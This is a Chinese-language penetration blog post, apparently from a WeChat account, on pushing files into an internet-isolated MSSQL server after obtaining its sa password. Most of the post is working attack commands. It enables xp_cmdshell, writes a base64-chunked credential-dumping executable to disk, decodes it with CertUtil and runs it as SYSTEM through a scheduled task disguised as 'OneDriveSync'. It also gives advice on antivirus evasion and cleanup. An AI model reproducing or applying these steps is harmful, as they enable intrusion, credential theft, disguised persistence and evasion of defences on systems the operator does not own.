原文链接:脱网Mssql 如何传文件
声明: 文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无任何关联 另外,这只是一个个人性质的公众号(非任何商业营销号),目的也仅为技术分享交流,并不想招惹是非,故,除了公众号自身,将不再考虑做其他的任何推广 ( 细心的你,可能也发现了,至今为止,甚至连一则外部广告都不曾出现过 ),再次声明,严禁所有未经本人明确授权的恶意转载 及 非法营销牟利行为 0x01 实战场景说明 通过边界Web跳板机上的数据库配置文件,拿到内网指定Mssql sa密码,再借助代理连至该Mssql机器,启用xp_cmdshell可正常执行系统命令,且Mssql服务以system权限运行(未被降权),经简单摸查后发现此mssql机器 "脱网",其实类似的场景非常常见 问题来了,在事先并不知道目标Mssql机器的系统管理账号密码,且3389,445,135,5985端口均未对外开放,也不想通过netsh去操作目标系统防火墙或者手动添加dns的情况下,再或者,有些弟兄可能会说直接在内网找个已控机起个ftp/chfs之类的,然后再用什么 powershell,CertUtil,bitsadmin,mshta,cscript...去远程拉 (注,一般情况下,如果cmd.exe都没拦,通常这些也不会拦),因为我们实际要传的文件可能并不会太大, 这样操作繁琐不说,也没有太大必要 总之,一句话,如何利用我们手里仅有的mssql权限传一些小文件到目标机器上去执行一些自动化的搜集操作,而不再单单只局限于执行几个命令而已,ok,关于 利用前提 和 场景,我想我应该已经说明白了,此处暂时不提clr(后续抽空单独说明), 一篇文章暂只解决一个实际问题, 不想掺杂太多, 来看操作 0x02 实操过程 确认目标Mssql版本,启用xp_cmdshell ,可正常执行系统命令(注,如果目标机器装有360套装,这样执行会被连续拦两次,一次 cmd.exe,一次wmic.exe, 因为xp_cmdshell默认会起cmd.exe来执行命令),2012r2标准版(默认无法直接抓明文),64位系统,不出网 select @@VERSION; exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure; exec master..xp_cmdshell 'ping www.baidu.com -n 5 -w 2 & wmic OS get Caption,CSDVersion,OSArchitecture,Version & whoami /user & query user & tasklist | findstr "360"'; 接着,将我们要执行的exe先打成字节码,之后再base64下,exe就一个功能,抓hash,当然,实际中你也可以把它换成你想要执行的任何exe,别局限,大小尽量控制在1M以内 # powershell -exec bypass PS > $PEBytes = [IO.File]::ReadAllBytes('pwd.exe'); PS > $Base64String = [System.Convert]::ToBase64String($PEBytes); PS > $Base64String | Out-File -FilePath PwdDmp.txt 众所周知,mssql执行单条sql时有长度限制,所以需要事先把上面的base64再稍微切割下, 此处是以250个字符为单位直接在线切割(省的再去写代码一段段截取了),切割站如下 https://onlinestringtools.com/split-string 切割完成后,分别在行首和行尾批量添加如下内容,目的很明确,就是为了把上面的base64作为单独的一行分批写到目标mssql机器上的指定文件里 写入过程如下,部分语句已省略,实际要写入的sql条数完全取决于你的exe实际大小,这也是为什么前面说exe最好不要太大,因为你可能需要连续调几千次cmd.exe, 确实不太好,之后再利用CertUtil把刚刚写进去的txt, 还原成 exe,正常执行即可,这也可能是整个文章最核心的一步,实际上360并未拦截CertUtil的本地操作 exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAA" <nul'; exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="9ABecPh3NMD8QF5w8sZBgP6QXnD4dzeg/pBecPUmljaOgF" <nul'; exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AACQCgBYAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWJ" <nul'; exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAJAKAAACAAAA" <nul'; exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" <nul'; exec master..xp_cmdshell 'CertUtil -decode c:/users/public/vars.txt c:/users/public/vars.exe'; 还原成功之后,正常执行该exe抓hash,当然啦,还有个非常重要的前提,就是你的这个exe务必要事先免杀好才行,不然很可能一还原就被干,更不要说执行了 如果目标Mssql机器能出网,没啥好说的,只需把相应的payload (可能也就十几二三十k的样子,不会太大)用刚刚的方式传过去,然后再用计划任务,系统服务或其它任何方式,把它起起来,说到这儿,多说一句,不用太在乎落地的问题,即使主机侧没落地,流量如果没加密,也没漏审的情况下,里面还是一样非常清晰,某种程度上来讲,落地和不落地没有非常大的区别,故不用过于纠结于此 上了之后,立马把计划任务干掉用其它方式去维持 exec master..xp_cmdshell 'CertUtil -decode c:/users/public/OneDriveSync.txt c:/users/public/OneDriveSync.exe'; exec master..xp_cmdshell 'schtasks /create /RL HIGHEST /RU SYSTEM /F /tn "OneDriveSync" /tr "c:\*vars.exe" /sc DAILY /mo 1 /ST 09:25'; exec master..xp_cmdshell 'schtasks /run /tn OneDriveSync'; exec master..xp_cmdshell 'schtasks /delete /F /tn OneDriveSync'; 最后,用完记得顺手恢复 xp_cmdshell exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure; exec master..xp_cmdshell 'whoami'; 小结: 算是一种特殊环境下的文件传输方式,非常简单,不存在什么技术含量,之前的文章其实也有提到,只不过当时写的太差,掺杂了太多其它东西,看上去非常乱,弟兄们可能一时忽略了,甚至后来经常会有弟兄来问类似的问题,索性就重写了,废话不多讲,祝弟兄们好运,安图片 如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢图片
|